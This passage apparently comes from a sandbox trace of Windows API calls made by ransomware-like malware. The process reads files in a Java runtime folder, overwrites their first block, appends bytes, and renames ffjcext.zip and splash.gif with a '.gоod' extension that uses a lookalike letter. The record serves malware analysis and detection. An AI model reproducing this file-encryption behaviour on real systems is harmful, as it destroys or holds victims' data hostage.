ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0101.514] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0101.514] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0101.515] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0101.515] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0101.515] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0101.515] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0101.515] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0101.515] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0101.516] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0101.516] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0101.516] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 0 [0101.516] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0101.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0101.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0101.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x0) returned 0x39 [0101.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0101.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), fInfoLevelId=0x0, lpFileInformation=0x3562f60 | out: lpFileInformation=0x3562f60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c)) returned 1 [0101.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0101.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x0) returned 0x39 [0101.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0101.518] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.518] GetFileType (hFile=0x20c) returned 0x1 [0101.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0101.519] GetFileType (hFile=0x20c) returned 0x1 [0101.519] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0101.519] ReadFile (in: hFile=0x20c, lpBuffer=0x35637e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x35637e8*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0101.520] CloseHandle (hObject=0x20c) returned 1 [0101.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x0) returned 0x39 [0101.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0101.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.520] GetFileType (hFile=0x20c) returned 0x1 [0101.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0101.520] GetFileType (hFile=0x20c) returned 0x1 [0101.520] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x374c [0101.520] WriteFile (in: hFile=0x20c, lpBuffer=0x3564d30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x3564d30*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0101.521] CloseHandle (hObject=0x20c) returned 1 [0101.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x0) returned 0x39 [0101.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0101.521] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.522] GetFileType (hFile=0x20c) returned 0x1 [0101.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0101.522] GetFileType (hFile=0x20c) returned 0x1 [0101.522] ReadFile (in: hFile=0x20c, lpBuffer=0x3566fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x3566fd0*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0102.267] CloseHandle (hObject=0x20c) returned 1 [0102.267] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x0) returned 0x39 [0102.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.267] GetFileType (hFile=0x20c) returned 0x1 [0102.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.267] GetFileType (hFile=0x20c) returned 0x1 [0102.267] WriteFile (in: hFile=0x20c, lpBuffer=0x34042c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x34042c8*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0102.268] CloseHandle (hObject=0x20c) returned 1 [0102.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", lpFilePart=0x0) returned 0x39 [0102.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.gоod", lpFilePart=0x0) returned 0x3e [0102.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0102.268] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x392c0169, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x375c)) returned 1 [0102.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0102.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.gоod")) returned 1 [0102.269] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x0) returned 0x38 [0102.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0102.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), fInfoLevelId=0x0, lpFileInformation=0x36c1b98 | out: lpFileInformation=0x36c1b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e)) returned 1 [0102.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0102.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x0) returned 0x38 [0102.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.270] GetFileType (hFile=0x20c) returned 0x1 [0102.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.270] GetFileType (hFile=0x20c) returned 0x1 [0102.270] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0102.270] ReadFile (in: hFile=0x20c, lpBuffer=0x36c1f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x36c1f70*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0102.271] CloseHandle (hObject=0x20c) returned 1 [0102.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x0) returned 0x38 [0102.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.272] GetFileType (hFile=0x20c) returned 0x1 [0102.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.272] GetFileType (hFile=0x20c) returned 0x1 [0102.272] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x218e [0102.272] WriteFile (in: hFile=0x20c, lpBuffer=0x36c31e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x36c31e8*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0102.273] CloseHandle (hObject=0x20c) returned 1 [0102.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x0) returned 0x38 [0102.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.273] GetFileType (hFile=0x20c) returned 0x1 [0102.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.273] GetFileType (hFile=0x20c) returned 0x1 [0102.273] ReadFile (in: hFile=0x20c, lpBuffer=0x36c5488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x36c5488*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0102.494] CloseHandle (hObject=0x20c) returned 1 [0102.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x0) returned 0x38 [0102.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.494] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.494] GetFileType (hFile=0x20c) returned 0x1 [0102.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.494] GetFileType (hFile=0x20c) returned 0x1 [0102.494] WriteFile (in: hFile=0x20c, lpBuffer=0x36c4200*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x36c4200*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0102.656] CloseHandle (hObject=0x20c) returned 1 [0102.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x0) returned 0x38 [0102.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.gоod", lpFilePart=0x0) returned 0x3d [0102.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0102.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3967c4f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x219e)) returned 1 [0102.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0102.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.gоod")) returned 1 [0102.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x0) returned 0x3b [0102.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0102.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x35e1770 | out: lpFileInformation=0x35e1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac)) returned 1 [0102.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0102.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x0) returned 0x3b [0102.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.658] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.659] GetFileType (hFile=0x20c) returned 0x1 [0102.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.659] GetFileType (hFile=0x20c) returned 0x1 [0102.659] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0102.659] ReadFile (in: hFile=0x20c, lpBuffer=0x35e1b58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x35e1b58*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0102.660] CloseHandle (hObject=0x20c) returned 1 [0102.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x105, 